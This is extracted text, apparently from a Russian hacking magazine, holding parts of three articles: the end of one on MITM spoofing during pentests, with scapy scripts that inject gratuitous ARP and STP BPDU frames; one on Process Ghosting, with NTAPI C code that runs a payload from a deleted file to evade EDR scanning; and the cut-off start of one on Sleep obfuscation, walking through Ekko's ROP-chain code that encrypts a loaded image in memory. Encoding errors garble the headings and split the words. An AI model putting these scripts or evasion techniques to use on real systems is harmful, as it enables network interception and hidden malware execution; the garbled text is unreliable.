поль зовате лей, так как ты ста новишь ся для них шлю зом по умол чанию. Если
же будет так, что ты выс тавил DHCP Lease Time условно на один день, а спу- 
фить прек ратишь через 30 минут, у легитим ных кли ентов воз никнет DoS. Они
зап росят новую кон фигура цию толь ко спус тя день. Сог ласись, не очень при- 
ятная ситу ация.

ARP SCANNING

Во вре мя пен теста будь осто рожен с инс тру мен тами, которые выпол няют
ARP-ска ниро вание. На уров не ком мутации может быть нас тро ена сис тема
Storm Control, которая заб локиру ет порт, если широко веща тель ный тра фик
пре выша ет задан ный порог. Нуж но про водить либо более мед ленное ска- 
ниро вание (добавить задер жку перед отправ кой сле дующе го ARP-кад ра),
либо пас сивную раз ведку, при которой инс тру мент полага ется толь ко на изу- 
чение тра фика (нап ример, так дела ет Netdiscover).

ARP SPOOFING

Это самый рас простра нен ный вид MITM, он пред став ляет собой под делыва- 
ние записей в ARP-таб лицах. Таким обра зом ата кующий навязы вает свой
адрес в качес тве адре са шлю за.

При про веде нии ARP-спу фин га сле ди за мас кой под сети, с которой
собира ешь ся работать. Если ты возь мешь слиш ком боль шую мас ку, твое
железо может прос то не выдер жать наг рузки и воз никнет DoS. Это час тая
ошиб ка в прак тике пен тесте ров. Будь осто рожен с количес твом хос тов,
которые ты соб рался спу фить.

За кон чив спу фить хос ты, ты дол жен генери ровать и отправ лять обратные
IS-AT-кад ры, которые вос ста нав лива ют сос тояние ARP-таб лиц хос тов до ата- 
ки. Это очень важ ный момент. Хост или сер вис могут и не зап росить ARP, тог- 
да они будут думать, что ты все еще их шлюз. А это DoS. Это очень важ ный
момент, который сто ит учи тывать. Кста ти говоря, Ettercap и Arpspoof отлично
дела ют эту работу, а по окон чании генери руют необ ходимые IS-AT-кад ры
и вос ста нав лива ют струк туру ARP-таб лиц хос тов.

ÑÏÓÔÈÍÃ Â ÑÈÑÒÅÌÅ ÃÎÐß×ÅÃÎ ÐÅÇÅÐÂÈÐÎÂÀÍÈß FHRP

Это край не дер зкая MITM-ата ка: при спу фин ге FHRP-мас тера весь тра фик
сег мента пой дет в твою сто рону, так как твой адрес будет адре сом шлю за
по умол чанию для осталь ных легитим ных хос тов. Это рис кован ный век тор, так
как твое обо рудо вание дол жно быть готово к такому мощ ному потоку тра- 
фика.

Íåîáõîäèìîñòü èñïîëüçîâàòü GARP
При спу фин ге домена FHRP необ ходимо отпра вить спе циаль ный кадр
Gratuitous ARP, который уве домит весь сег мент о том, что воз никла новая при- 
вяз ка MAC-адре са и IP-адре са. Ведь при зах вате FHRP-мас тера ты будешь
обслу живать его и отве чать за адрес шлю за по умол чанию для конеч ных хос- 
тов.

Вот Python-код, который будет генери ровать и отправ лять GARP-кадр каж- 
дые 300 секунд.

#!/usr/bin/env python3

   from scapy.all import *
   from scapy.layers.l2 import *
 import argparse

  l2broad = "FF:FF:FF:FF:FF:FF"

 def take_args():
     parser = argparse.ArgumentParser()
      

 
parser.add_argument("--gateway", dest="gateway", type=str,

required=True, help="Choose gateway IP address")
      

 
parser.add_argument("--interface", dest="interface", type=str,

required=True, help="Choose your interface for attack")
      

 
parser.add_argument("--mac", dest="evilmac", type=str, required=

True, help="Specify your MAC Address")
     args = parser.parse_args()
    return args

  args = take_args()

   def garp(gateway, interface, evilmac):
      ether_frame = Ether(src=args.evilmac, dst=l2broad)
       
  

arp_frame = ARP(op="is-at", pdst=args.gateway, hwsrc=args.evilmac
, hwdst=l2broad, psrc=args.gateway)
       garp_frame = ether_frame / arp_frame
       sendp(garp_frame, iface=args.interface, inter=300, loop=1,
verbose=1)

  garp(args.interface, args.evilmac, args.gateway)

Пол ный тех ничес кий обзор атак на домены FHRP
я сде лал в статье « ».FHRP Nightmare

ÑÏÓÔÈÍÃ Â ÑÅÒÈ Ñ ÄÈÍÀÌÈ×ÅÑÊÎÉ ÌÀÐØÐÓÒÈÇÀÖÈÅÉ

MITM в домене динами чес кой мар шру тиза ции . Если спу фить
адрес сер вера, который находит ся в дру гом сег менте, воз никнет прос то-нап- 
росто пет ля мар шру тиза ции. Тра фик к хос ту, который ты спу фишь, будет идти
по кру гу: от легитим ного хос та до тво его хос та и до шлю за по умол чанию.

íå âîç ìîæåí

Од нако есть впол не рабочий век тор Mocking-ата ки, при которой ата- 
кующий может под менить какую-нибудь служ бу в инфраструк туре путем
редис три буции ста тичес кого мар шру та. Пред положим, ты хочешь под делать
какую-нибудь служ бу SMB по адре су . Тог да тебе нуж но нас- 

тро ить соот ветс тву ющий мар шрут и рас простра нить его по сети с помощью
редис три буции.

10.1.1.33/32

Пос ле такой инъ екции тебе будет дос таточ но уста новить этот адрес
на свой хост с помощью того же ifcong и запус тить лож ный SMB-сер вис, нап- 
ример impacket. Это вро де какого-нибудь Evil Twin.

Под робно эту ата ку я разоб рал в сво ей статье «
».

Evil Twin поверх динами- 
чес кой мар шру тиза ции

ÑÏÓÔÈÍÃ ÄÅÐÅÂÀ STP

Суть этой ата ки зак люча ется в перех вате роли кор невого ком мутато ра путем
инъ екции кад ра BPDU с наимень шим зна чени ем при ори тета. Одна ко это при- 
ведет лишь к час тичной MITM-ата ке.

Вот при мер рабочей BPDU-инъ екции, которая поз волит тебе отоб рать
роль кор невого ком мутато ра. Опять же это при ведет толь ко к 
MITM-ата ке. Не весь тра фик в сети бега ет через кор невой ком мутатор.

÷àñ òè÷íîé

От прав ка такого кад ра осу щест вля ется на муль тикас товый адрес STP —
.01:80:C2:00:00:00

   from scapy.all import *

  INTERFACE = "eth0"
  ATTACKER_MAC = "00:11:22:33:44:55"

  STP_MCAST = "01:80:C2:00:00:00"

 def spoof():
      frame = Dot3(src=ATTACKER_MAC, dst=STP_MCAST)
       llc_layer = LLC(dsap=0x042, ssap=0x042, ctrl=3)
       mal_bpdu = STP(rootmac=ATTACKER_MAC, bpduflags=0x01, bridgemac=
ATTACKER_MAC)
         mal_stp_bpdu = frame / llc_layer / mal_bpdu
       sendp(mal_stp_bpdu, iface=INTERFACE, inter=2, loop=1, verbose=1)

spoof()

Ме тоды защиты сети от спу финг-атак я рас смот- 
рел в статье «

».
Save Me. Защища ем сети от спу- 

финг-атак

ÂÛÂÎÄÛ

В этой статье я рас ска зал о рис ках и о том, как спу фить сети пра виль но. Эта
статья — не пол ноцен ный ману ал по спу фин гу сетей, здесь опи саны пра вила
хороше го тона, с помощью которых ты будешь про водить MITM без негатив- 
ного воз дей ствия на инфраструк туру. Понят ное дело, что MITM — это очень
рас простра нен ная ата ка, о которой зна ют мно гие, но воп рос о том, как пра- 
виль но спу фить без DoS, по-преж нему счи тает ся острым.

mailto:caster@exploit.org
https://github.com/DanMcInerney/net-creds
https://github.com/lgandx/PCredz
https://medium.com/@casterbyte/fhrp-nightmare-pentesting-redundancy-systems-like-a-devil-aeeb7d40e766
https://xakep.ru/2022/09/30/ospf-evil-twin/
https://xakep.ru/2023/08/17/antispoofing/
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ВЗЛОМ

Раз личные спо собы скры тия работы сво его
кода пос тоян но будора жат хакер ские умы.
В этой статье я покажу, как запус кать про- 
цес сы при помощи тех ники Process
Ghosting, а затем раз берем, как работа ют
сис темы обна руже ния вре донос ного кода.

Как-то я уже рас ска зывал об одной подоб ной тех нике под наз вани ем 
. С того вре мени появи лись дру гие, более сов ремен ные тех- 

ники запус ка кода под прик рыти ем легитим ных про цес сов.

Process
Doppelganging

Process Ghosting — одна из наибо лее акту аль ных в дан ный момент тех ник.
С ее помощью зло умыш ленник может орга низо вать запуск сво его кода
из уже уда лен ного фай ла. Этот при ем час то исполь зует ся в боевой мал вари.
Но что бы понять, как он работа ет, сна чала раз берем мат часть.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В статье будут исполь зовать ся фун кции NTAPI. Напоми наю, что их нель зя
прос то так вызывать, нуж но получать их динами чес ки из . Один

из спо собов сде лать это я показы вал в статье о Process Doppelganging
во врез ке « ».

ntdll.dll

Как поль зовать ся недоку мен тирован ными NTAPI

ÊÀÊ ÐÀÁÎÒÀÅÒ ÌÎÍÈÒÎÐÈÍÃ EDR (ENDPOINT DETECTION AND

RESPONSE)

Средс тва EDR час то монито рят соз дание про цес сов при помощи раз ных
фун кций, нап ример вот этих:

;• PsSetCreateProcessNotifyRoutineEx
;• PsSetCreateProcessNotifyRoutineEx2

.• PsSetCreateProcessNotifyRoutine

Файл ска ниру ется при запус ке, а точ нее — при соз дании про цес са. Вот про- 
тоти пы перечис ленных фун кций:

 NTSTATUS PsSetCreateProcessNotifyRoutine(
 // Callback-функция обработчика
   [in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
   [in] BOOLEAN Remove
);

 NTSTATUS PsSetCreateProcessNotifyRoutineEx(
 // Callback-функция обработчика
   [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
   [in] BOOLEAN Remove
);

 NTSTATUS PsSetCreateProcessNotifyRoutineEx2(
 // Callback-функция обработчика
   [in] PSCREATEPROCESSNOTIFYTYPE NotifyType,
   [in] PVOID NotifyInformation,
   [in] BOOLEAN Remove
);

Об рати вни мание: ска ниро вание про исхо дит имен но при запус ке про цес са,
а не в каких-то дру гих слу чаях. Разуме ется, дела ется это ради эко номии
ресур сов, ина че ска ниро вание всех фай лов в сис теме заняло бы очень мно го
вре мени, осо бен но при опе раци ях записи.

Для EDR все идет по пла ну, если для соз дания про цес са исполь зует ся
фун кция  (сов ремен ный NTAPI, дос тупный со вре мен

Windows Vista), потому что она берет на себя поч ти всю работу по соз данию
про цес са и пер вого потока. Все дей ствия про исхо дят в ее кон тек сте: соз- 
дает ся пер вый поток про цес са, про изво дит ся вызов кол бэков
из  и так далее. На все это слож но

как-то пов лиять с нашей сто роны. И имен но при таком сце нарии эффектив ны
защит ные средс тва EDR, потому что они рас счи тыва ют, что про цесс будет
соз дан имен но через .

NtCreateUserProcess

PsSetCreateProcessNotifyRoutineEx

NtCreateUserProcess
Этот вызов NTAPI исполь зуют и стан дар тные API типа 

(  →  → )
или  (  →

 → ). То есть, гру бо говоря,

даже если ты пишешь код, исполь зуя WinAPI, что ред кость само по себе, то
все рав но в ито ге будет выз вана «пра виль ная» фун кция

, удов летво ряющая тре бова ниям средств EDR.

CreateProcess
CreateProcess CreateProcessInternalW NtCreateUserProcess

RtlCreateUserProcess RtlCreateUserProcessEx
RtlpCreateUserProcess NtCreateUserProcess

NtCreateUserProcess
Но все меня ется, если про цесс соз дает ся при помощи фун кции

. Она ста рее  и оставле на

в Windows для обратной сов мести мос ти. Дело в том, что эта фун кция поз- 
воля ет соз давать про цесс в более «руч ном» режиме, где мож но вли ять
на сам про цесс соз дания и запус ка потоков из поль зователь ско го режима.
В том чис ле это воз можно, если под менять или уда лять фай лы и про цес сы
или уста нав ливать нуж ные фла ги, что мы, собс твен но, и сде лали. Мы приш ли
к тому, что наш исполня емый код остался толь ко в памяти и избе жал ска ниро- 
вания, потому что был уже уда лен с жес тко го дис ка до соз дания его пер вого
потока.

NtCreateProcessEx NtCreateUserProcess

ÊÎÄÈÌ!

Те оре тичес кая кар тина нам ясна, нач нем прог рамми ровать. Давай пос- 
мотрим, что нуж но, что бы реали зовать Process Ghosting.

На чина ется все с соз дания вре мен ного фай ла, который мы потом уда лим.
Я буду соз давать файл при помощи NTAPI-фун кции  (не
забыва ем выдать пра ва на уда ление, запись и про чее). Раз местим, само
собой, в пап ке для вре мен ных фай лов.

NtCreateFile

   HANDLE hProcess = INVALID_HANDLE_VALUE;
   HANDLE hSection = INVALID_HANDLE_VALUE;
   HANDLE hTempFile = INVALID_HANDLE_VALUE;
   HANDLE hThread = INVALID_HANDLE_VALUE;

     wchar_t filename[MAX_PATH] = { 0 };
     wchar_t path_of_tempfile[MAX_PATH] = { 0 };

     UNICODE_STRING file_name = { 0 };
     IO_STATUS_BLOCK io_stat_block = { 0 };
     OBJECT_ATTRIBUTES attributes = { 0 };

     wstring nt_path = L"\\??\\" + wstring(filePath);

    DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);
   GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename);

          if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1;

 RtlInitUnicodeString(&file_name, nt_path.c_str());

  
  

InitializeObjectAttributes(&attributes, &file_name,
OBJ_CASE_INSENSITIVE, NULL, NULL);

   NTSTATUS status = NtOpenFile(&hTempFile,
       DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE,
 &attributes,
 &io_stat_block,
   FILE_SHARE_READ | FILE_SHARE_WRITE,
   FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT
);

   if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Те перь необ ходимо пометить файл как при готов ленный к уда лению. Для это- 
го будем исполь зовать фун кцию , задав зна чение пос- 
ледне го аргу мен та как . Таким обра зом
нашему фай лу будет прис воен флаг . С это го момен та опе раци- 
онная сис тема будет готова сра зу уда лить файл, как толь ко зак роет ся его
дес крип тор.

NtSetInformationFile
FileDispositionInformation

DeletePending

     FILE_DISPOSITION_INFORMATION info = { 0 };
  info.DeleteFile = TRUE;

     
 

status = NtSetInformationFile(hTempFile, &io_status_block, &info,
sizeof(info), FileDispositionInformation);

   if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Те перь пишем наш код (фун кция ), который хотим выпол нить

в обход средств монито рин га, в соз данный вре мен ный файл.

NtWriteFile

     LARGE_INTEGER offset = { 0 };

  status = NtWriteFile(
 hTempFile,
 NULL,
 NULL,
 NULL,
 &status_block,
 // Буфер с нашей полезной нагрузкой
 myCodeBuf,
 // Размер полезной нагрузки
 myCodeSize,
 &offset,
 NULL
);

   if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Из нашего вре мен ного фай ла соз даем объ ект «сек ция» при помощи вызова
фун кции . Не забыва ем про пра виль ные аргу мен ты фун- 
кции:  и , которые будут ука зывать на то, что мы

работа ем с исполня емым фай лом обра за.

NtCreateSection
PAGE_READONLY SEC_IMAGE

  status = NtCreateSection(&hSection,
 SECTION_ALL_ACCESS,
 NULL,
 0,
 PAGE_READONLY,
 SEC_IMAGE,
 // Создаем секцию из временного файла
 hTempFile
);

     if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;

Сей час мы можем зак рыть дес крип тор вре мен ного фай ла (вызовом
). Пос коль ку наш вре мен ный файл был соз дан с фла гом

 (ожи дающий уда ления), то зак рытие дес крип тора при водит
к немед ленно му уда лению фай ла силами ОС.

NtClose
DeletePending

NtClose(hTempFile);

Соз даем про цесс из нашей сек ции. В резуль тате получим хендл нового про-
цес са, который будем исполь зовать далее для соз дания потока внут ри
нашего про цес са.

  status = NtCreateProcessEx(
 &hProcess,
 PROCESS_ALL_ACCESS,
 NULL,
 NtCurrentProcess(),
 PS_INHERIT_HANDLES,
 // Наша секция, которую мы создали на предыдущем шаге
 hSection,
 NULL,
 NULL,
 FALSE
);

     if (status != STATUS_SUCCESS) return 1;

Да лее, что бы наш поток смог запус тить ся в ОС, мы дол жны нас тро ить PEB
и нас тро ить парамет ры про цес са.

Сна чала зай мем ся парамет рами:

     UNICODE_STRING ImagePath = { 0 };
     UNICODE_STRING DllPath = { 0 };

     wchar_t curDirPath[MAX_PATH] = { 0 };
     UNICODE_STRING CurrentDirectory = { 0 };
     UNICODE_STRING WindowTitle = { 0 };

   wchar_t dllSystemDir[] = L"C:\\Windows\\System32";
   wchar_t* windowTitle = (LPWSTR)L"Calculator";

   PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;
 LPVOID Environment;

 RtlInitUnicodeString(&ImagePath, victimPath);

 GetCurrentDirectoryW(MAX_PATH, curDirPath);

 RtlInitUnicodeString(&CurrentDirectory, curDirPath);
 RtlInitUnicodeString(&DllPath, dllSystemDir);

 RtlInitUnicodeString(&WindowTitle, windowTitle);

  CreateEnvironmentBlock(&Environment, NULL, TRUE);

   NTSTATUS status = RtlCreateProcessParametersEx(
 &pProcessParams,
 (PUNICODE_STRING)&ImagePath,
 (PUNICODE_STRING)&DllPath,
 (PUNICODE_STRING)&CurrentDirectory,
 (PUNICODE_STRING)&ImagePath,
 Environment,
 (PUNICODE_STRING)&WindowTitle,
 nullptr,
 nullptr,
 nullptr,
 RTL_USER_PROC_PARAMS_NORMALIZED
);
     if (status != STATUS_SUCCESS) return 1;

За пишем парамет ры в про цесс (опус каю бес конеч ные if, нуж ные для про вер- 
ки кор рек тнос ти вызовов):

  
    

VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->
Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  
  

WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)
pProcessParams, pProcessParams->Length, NULL);

  
    

VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment,
pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

  
  

WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (
LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize,
NULL);

Те перь нас тро им PEB. На самом деле это стан дар тная про цеду ра, при меня-
емая при запус ке подоб ных про цес сов через  и подоб- 

ные фун кции. Такое встре чает ся в любом коде, она не харак терна имен но
для Process Ghosting.

NtCreateProcessEx

     PEB peb_struct = { 0 };
     PROCESS_BASIC_INFORMATION pbi = { 0 };

   SIZE_T count = 0;
   DWORD RetLen = 0;

  status = NtQueryInformationProcess(
 hProcess,
 ProcessBasicInformation,
 &pbi,
 sizeof(PROCESS_BASIC_INFORMATION),
 &RetLen
);

     if (status != STATUS_SUCCESS) return 1;

   ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress;
     ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (

ULONGLONG)&peb_struct;
     LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset);

  if (!WriteProcessMemory(hProcess, new_image_base,
  &pProcessParams, sizeof(PVOID),
 &count))
  return 1;

Соз даем пер вый поток в нашем про цес се при помощи фун кции
.NtCreateThreadEx

  status = NtCreateThreadEx(&hThread,
 THREAD_ALL_ACCESS,
 NULL,
 hProcess,
   (LPTHREAD_START_ROUTINE)processEntryPoint, // Вычисляем его по 
формуле processEntryPoint = PEB.ImageBaseAddress + EntryPoint нашего 
внедряемого кода
 NULL,
 FALSE,
 0,
 0,
 0,
 NULL
);

     if (status != STATUS_SUCCESS) return 1;

ÂÛÂÎÄÛ

Вот ты и научил ся запус кать про цес сы при помощи Process Ghosting! Но рас- 
слаб лять ся рано. Методы скры тия выпол нения кода — это толь ко один
из шагов к тому, что бы добить ся пол ноцен ной невиди мос ти. Кро ме того,
имен но этот метод оставля ет в памяти некото рые арте фак ты, но его мож но
скре щивать с дру гими тех никами, что бы избе жать обна руже ния. В общем, мы
еще про дол жим эту тему!
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ВЗЛОМ

Ви русо писа тели при думы вают все новые
и новые спо собы скры тия сво его ПО пос ле
инжекта в про цесс. В пос леднее вре мя ста- 
ла популяр на не прос то обфуска ция,
а Sleep-обфуска ция. Давай раз берем ся
с этой тех никой, поз накомим ся с ROP-
цепоч ками, если ты с ними еще не зна ком,
и заценим пуб лично дос тупные PoC.

Ка кую глав ную цель прес леду ет любой ува жающий себя злов ред? Быть
может, зарабо тать соз дателю мил лион дол ларов? Зах ватить весь мир? Ста- 
щить нюд сы быв шей? Все это может быть потом, но пер вая и важ ней шая
задача — скрыть ся! И Sleep-обфуска ция в этом отлично помога ет. Этот спо- 
соб скры тия может при менять ся как к шелл-коду, так и ко всей копии фай ла
в памяти в целом.

Боль шинс тво анти виру сов обра щает прис таль ное вни мание на любые
области памяти с пра вами на исполне ние. Конеч но, не все так прос то, важ но
вер но учи тывать реги он памяти (глу по было бы бло киро вать все RX-дан ные
в Image-сек циях), но Sleep-обфуска ция не об этом.

Пред ставь, что ска нер так и рыщет злы ми гла зами по памяти уже заражен- 
ного про цес са, пыта ясь выцепить сво ими ког тищами наш бед ный малень кий
шелл-код. Что бы скрыть себя в памяти, он может взять и поменять раз- 
решения сво его реги она с RX на, нап ример, RW или вооб ще

. Пос ле чего допол нитель но пок сорить ся на уда чу. И всё,

шелл-код в домике. А Око Кас пер ско го оста нет ся ни с чем.

PAGE_NO_ACCESS

Собс твен но, эту задачу и реша ет Sleep-обфуска ция. Она поз воля ет изме- 
нить раз решения памяти, спря тать шелл-код, а затем через некото рое вре мя
вер нуть его к жиз ни путем рас шифров ки и вос ста нов ления Execute-прав.

Пред лагаю сра зу разоб рать ся с тер минами. Пос пра шивав экспер тов
и пог лядев PoC на GitHub, я сме ло заяв ляю, что Sleep-обфуска цию мож но
счи тать под видом . Флук туация реша ет ту же задачу —
шиф рование и изме нение раз решений. Но лич но я счи таю, что Sleep-
обфуска ция — это все то, что при водит, исполь зуя те же тай меры (или иные
механиз мы, свя зан ные со вре менем), к выс тре лу кол бэка и пос леду юще му
изме нению раз решений памяти.

флук туации шелл-кода

Флук туация — это кон цепция такого поведе ния вре доно са в целом.
Добить ся флук туации мож но и без вре мен ных фун кций. Мож но в шелл-коде
раз местить  или Hardware Breakpoint. Такой фокус при выпол- 
нении шелл-кодом кон крет ной инс трук ции поз волит акти виро вать кол бэк,
который спря чет вре донос в памяти.

PAGE_GUARD

ROP

Поч ти все извес тные PoC на «спя щую» обфуска цию исполь зуют ROP-цепоч- 
ки. Если очень вкрат це, то ROP-цепоч ки счи тают ся некото рой прод винутой
заменой стан дар тно му перепол нению буфера. Вмес то того что бы помещать
где-то в сте ке наш шелл-код, мы, манипу лируя адре сами воз вра та, зас тавля- 
ем код выпол нять необ ходимые нам инс трук ции. Набор инс трук ций называ- 
ется ROP-гад жетом, нес коль ко ROP-гад жетов — ROP-цепоч кой.

От личная кар тинка, наг лядно пред став ляющая этот механизм, есть в 
ka1d0.

бло ге

Наг лядная иллюс тра ция ROP-цепоч ки

Боль ше про этот инте рес ный спо соб экс плу ата- 
ции мож но почитать тут:
•Ре шение задания с pwnable.kr 26 — ascii_easy.

Раз бира емся с ROP-гад жетами с нуля раз
и нав сегда

•ROP-цепоч ки и гад жеты: учим ся раз рабаты вать
экс плой ты

•Return Oriented Programming (ROP) attacks
•32-bit Stack-based Buffer Overow
•What is the difference between a buffer overow

attack and a ROP attack?

Впро чем, пог ружать ся в самые деб ри нам сегод ня не понадо бит ся. Связь
меж ду Sleep-обфуска цией и ROP осно вана толь ко на том, что пос ле выпол- 
нения одной фун кции авто мати чес ки будет дер гать ся дру гая. Вот и всё!
Давай пос мотрим на при мере.

EKKO

Прос тей ший и самый наг лядный PoC для демонс тра ции Sleep-обфуска ции —
это . У него есть и более , но он не столь наг лядный,
и разоб рать ся с ним будет слож нее.

Ekko прод винутый вари ант

Ekko поз воля ет, как нам и тре бует ся, изме нить раз решение памяти
с помощью фун кции , а зашиф ровать пей лоад через

.  — это недоку мен тирован ная фун- 

кция Windows, впро чем, работа ет она донель зя прос то: мы переда ем ей блок
дан ных, а она его шиф рует. В осно ве фун кции лежит XOR. Есть
еще  — ее механизм тот же.

VirtualProtect()
SystemFunction032 SystemFunction032

SystemFunction033()

        
 

NTSTATUS WINAPI SystemFunction032(struct ustring * data,const struct
ustring *key)

Па рамет ров, как видишь, все го два:
 — сюда пада ет адрес струк туры , которая содер жит

дан ные для шиф рования или рас шифров ки;
• data RC4_CONTEXT

 — сюда пада ет адрес клю ча, который мож но исполь зовать для рас- 
шифров ки либо шиф рования.

• key

При меры кода для шиф рования с исполь зовани ем этих фун кций ты 
в бло ге Осан ды Джай ятис сы.

най дешь

У Ekko же все го одна-единс твен ная фун кция — . Она при нима ет

лишь один DWORD-параметр — вре мя, на которое наш исполня емый файл
уснет. Спря чет ся все адресное прос транс тво, содер жащее код исполня емо- 
го фай ла.

EkkoObf()

Сна чала ини циали зиру ется ключ, с помощью которо го будет про исхо дить
шиф рование.

              
         

CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55
, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };

     USTRING Key = { 0 };
     USTRING Img = { 0 };

Так как у нас Sleep-обфуска ция, нуж но соз дать некото рое событие и тай мер,
который поз волит «выс тре лить» в опре делен ный момент и спря тать либо вер- 
нуть наружу нашу наг рузку. Для это го Ekko исполь зует стан дар тные фун кции

 и .CreateEventW() CreateTimerQueue()
Фун кция  поз воля ет соз дать оче редь тай меров,

которые будут вызывать ся друг за дру гом. Эта цепоч ка сыг рает свою клю- 
чевую роль чуть поз же.

CreateTimerQueue()

     hEvent = CreateEventW(0, 0, 0, 0);
  hTimerQueue = CreateTimerQueue();

Сле дующим шагом Ekko получа ет ука зате ли на адре са ранее опи сан ной фун- 
кции  и новой для нас . Фун кция

 так же не докумен тирова на. Ее пред назна чение чуть слож нее —
она при нима ет спе циаль ную струк туру , которая содер жит зна чения
регис тров. Переда вая эту струк туру в фун кцию, мы можем возоб новить
выпол нение текуще го потока с ука зан ными в струк туре  изме нени ями

в регис трах.

SystemFunction032() NtContinue()
NtContinue()

CONTEXT

CONTEXT

Нап ример, зна чение регис тра EAX рав но 10. Переда ем в фун кцию
 струк туру CONTEXT со зна чени ем , и EAX в нашем

потоке ста новит ся равен 20.

NtContinue() EAX 20

Имен но на этих фун кци ях и стро ится ROP-цепоч ка. Что бы шиф ровать весь
наш файл в памяти, про исхо дит получе ние его базово го адре са заг рузки
через .GetModuleHandle()

      ImageBase = GetModuleHandleA( NULL );
             

     
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( (
PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.
SizeOfImage;

На конец, сама ROP-цепоч ка выг лядит так.

   
    

if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (
WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0,
WT_EXECUTEINTIMERTHREAD))
{
  WaitForSingleObject(hEvent, 0x32);

   memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
   memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
   memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
   memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
   memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
   memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));

 // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &
OldProtect );
   RopProtRW.Rsp -= 8;
   RopProtRW.Rip = (DWORD64)VirtualProtect;
   RopProtRW.Rcx = (DWORD64)ImageBase;
   RopProtRW.Rdx = ImageSize;
   RopProtRW.R8 = PAGE_READWRITE;
   RopProtRW.R9 = (DWORD64)&OldProtect;

 // SystemFunction032( &Key, &Img );
   RopMemEnc.Rsp -= 8;
   RopMemEnc.Rip = (DWORD64)SysFunc032;
   RopMemEnc.Rcx = (DWORD64)&Img;
   RopMemEnc.Rdx = (DWORD64)&Key;

 // WaitForSingleObject( hTargetHdl, SleepTime );
   RopDelay.Rsp -= 8;
   RopDelay.Rip = (DWORD64)WaitForSingleObject;
   RopDelay.Rcx = (DWORD64)NtCurrentProcess();
   RopDelay.Rdx = SleepTime;

 // SystemFunction032( &Key, &Img );
   RopMemDec.Rsp -= 8;
   RopMemDec.Rip = (DWORD64)SysFunc032;
   RopMemDec.Rcx = (DWORD64)&Img;
   RopMemDec.Rdx = (DWORD64)&Key;

 // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &
OldProtect );
   RopProtRX.Rsp -= 8;
   RopProtRX.Rip = (DWORD64)VirtualProtect;
   RopProtRX.Rcx = (DWORD64)ImageBase;
   RopProtRX.Rdx = (DWORD64)ImageSize;
   RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
   RopProtRX.R9 = (DWORD64)&OldProtect;

 // SetEvent( hEvent );
   RopSetEvt.Rsp -= 8;
   RopSetEvt.Rip = (DWORD64)SetEvent;
   RopSetEvt.Rcx = (DWORD64)hEvent;

 puts("[INFO] Queue timers");

   
    

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK
)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
   

    
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK

)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
   

    
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK

)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
   

    
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK

)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
   

    
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK

)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
   

    
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK

)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

 puts("[INFO] Wait for hEvent");

  WaitForSingleObject(hEvent, INFINITE);

 puts("[INFO] Finished waiting for event");
 printCurrentTime();
}

DeleteTimerQueue(hTimerQueue);
}

Здесь сна чала соз даем тай мер, который сра зу же запус кает ся и получа ет
кон текст текуще го потока. Кон текст — это как раз та струк тура 
со зна чени ями регис тров. Пос ле чего копиру ем этот кон текст во все
